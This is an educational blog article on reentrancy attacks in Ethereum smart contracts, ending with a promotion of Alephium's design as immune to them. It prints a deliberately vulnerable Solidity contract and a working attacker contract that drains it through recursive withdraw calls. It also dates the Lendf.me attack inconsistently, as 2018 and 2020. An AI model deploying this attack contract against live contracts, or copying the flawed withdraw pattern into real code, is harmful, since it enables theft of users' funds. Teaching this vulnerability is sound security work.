Reentrancy attack and Alephium

Reentrancy attack and Alephium

·

5 min read

Reentrancy attacks are one of the most notorious vulnerabilities in the blockchain world, particularly on the Ethereum blockchain. These attacks exploit a flaw in smart contracts to maliciously drain funds. In this article, we will explore what reentrancy attacks are, how they work, famous examples, and what Alephium is doing to address them.

What's a reentrancy Attack ?

A reentrancy attack is a severe vulnerability in Ethereum smart contracts, particularly those written in Solidity. This exploit allows an attacker to repeatedly withdraw funds from a contract, much like a thief continuously withdrawing money from an account even after it should be empty.

The attack begins with a flaw in the contract, where an external call is made before the contract’s state is updated. This flaw enables the attacker to trigger a recursive loop, draining funds from the contract repeatedly. Essentially, the attacker exploits the contract’s failure to update its state before making the external call, permitting multiple withdrawals before the balance is accurately reflected.

The diagram below illustrates the mechanics of a reentrancy attack. It details each step of the process, from the initial deposit of ether to the repeated withdrawals, demonstrating how the attacker can continuously drain funds by manipulating the sequence of function calls.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

// VICTIM CONTRACT

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value; // Add the sent value to the sender's balance
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0, "Insufficient balance"); // Ensure the balance is above 0

        (bool sent, ) = msg.sender.call{value: bal}(""); // Send Ether to the caller
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0; // Set the sender's balance to 0
    }

    // Helper function to check the contract's balance
    function getBalance() public view returns (uint) {
        return address(this).balance; // Return the contract's balance
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

// ATTACKING CONTRACT

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // fallback() is called when ETH is sent to this contract, as no other function identifier or data has been specified on behalf of the victim contract
    fallback() external payable {
        // The fallback function calls the withdraw function again. Note that this is called before the victim contract reaches the `balances[msg.sender] = 0;` code, meaning the victim contract won't properly update the attacker's balance, and the attacker will be able to steal more ETH than expected (step 4 of the diagram)
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw(); // Re-call the vulnerable function
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}(); // Initiate the attack by depositing 1 ETH (see step one of the diagram)
        etherStore.withdraw(); // Immediately withdraw 1 ETH from the victim contract, triggering the reentrancy attack (step 2 of the diagram)
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Examples of reentrancy smart contract attacks

To illustrate the impact of reentrancy attacks, here are three notable examples where malicious actors exploited vulnerabilities in blockchain protocols:

The DAO Hack (2016): In 2016, The DAO, a decentralized autonomous organization on the Ethereum blockchain, was attacked, resulting in the theft of approximately $60 million worth of Ether. The attacker exploited a flaw in The DAO's smart contract that permitted repeated withdrawals before the contract's state was updated. By initiating a withdrawal and repeatedly calling the withdrawal function within the same transaction, the attacker drained substantial funds. This vulnerability allowed recursive calls, leading to significant Ether loss. The incident prompted a controversial hard fork of the Ethereum blockchain to recover the stolen funds.

To find out more about this subject, we invite you to read this article : https://medium.com/swlh/the-story-of-the-dao-its-history-and-consequences-71e6a8a551ee

Lendf.me Attack (2018): In 2020, Lendf.me, a decentralized finance (DeFi) platform, suffered a reentrancy attack, losing approximately $25 million. The attacker exploited a reentrancy vulnerability in the platform's smart contract by first taking out a loan and then initiating a withdrawal. This flaw enabled multiple calls to the withdrawal function within a single transaction, allowing the attacker to extract more funds than authorized. The contract failed to update the user's balance until all calls were completed, facilitating the exploitation.

Cream Finance Attack (2021): In 2021, Cream Finance, another DeFi platform, was targeted in a reentrancy attack, resulting in the loss of over $130 million. The attacker utilized a flash loan to borrow a large amount of tokens and then exploited a vulnerable function in Cream Finance's smart contract. By repeatedly calling this function before the account balance was updated, the attacker executed multiple withdrawals within the same transaction. After extracting the funds, the attacker repaid the flash loan, retaining the illicit gains.

Alephium's Approach to Security

On Alephium, reentrancy attacks are not possible due to its unique design based on the UTXO (Unspent Transaction Output) model and the specifics of its execution environment VM (Alphred) and its smart contract language (Ralph).

  • UTXO Model: Unlike the account model used by Ethereum, Alephium's UTXO model follows an input/output paradigm where each transaction output can only be used once and only after being broadcasted on the network. This prevents the possibility of reentrancy because the outputs need to be validated and confirmed before they can be reused.

  • Input/Output Paradigm: Transactions on Alephium must follow a strict sequential order where outputs are only available after the inputs are confirmed. This means that a function cannot call another function until the previous ones are fully executed and validated, thus preventing any form of reentrancy.

  • Design of Alphred VM: Alephium’s virtual machine, Alphred, is specifically designed to take advantage of the UTXO model's characteristics, offering built-in controls and additional checks to avoid common errors and vulnerabilities, including reentrancy attacks.

  • Security by Design in Ralph: The smart contract language Ralph is designed to be secure by design, with built-in type checks and asset permission systems that prevent unintended behaviors and logic errors that could lead to reentrancy vulnerabilities.

Ralph and the Alphred VM prevent contract methods that spend assets from being called multiple times during a transaction, thus preventing re-entrancy attacks. Contract methods that only receive assets or do not touch assets at all are not vulnerable to these attacks, so they can be called multiple times for better DevX.

With its UTXO model, Alphred execution environment, and Ralph programming language, Alephium is inherently designed to resist reentrancy attacks. This unique architecture ensures that transactions and smart contract executions follow a strict and verifiable order, thereby preventing any reentrancy behaviors.

Ressources :
- Thanks to Chivato: hackmd.io/@Chivato/rykgDspRt
- https://scsfg.io/hackers/reentrancy/
- https://medium.com/@alephium/meet-alphred-a-virtual-machine-like-no-others-85ce86540025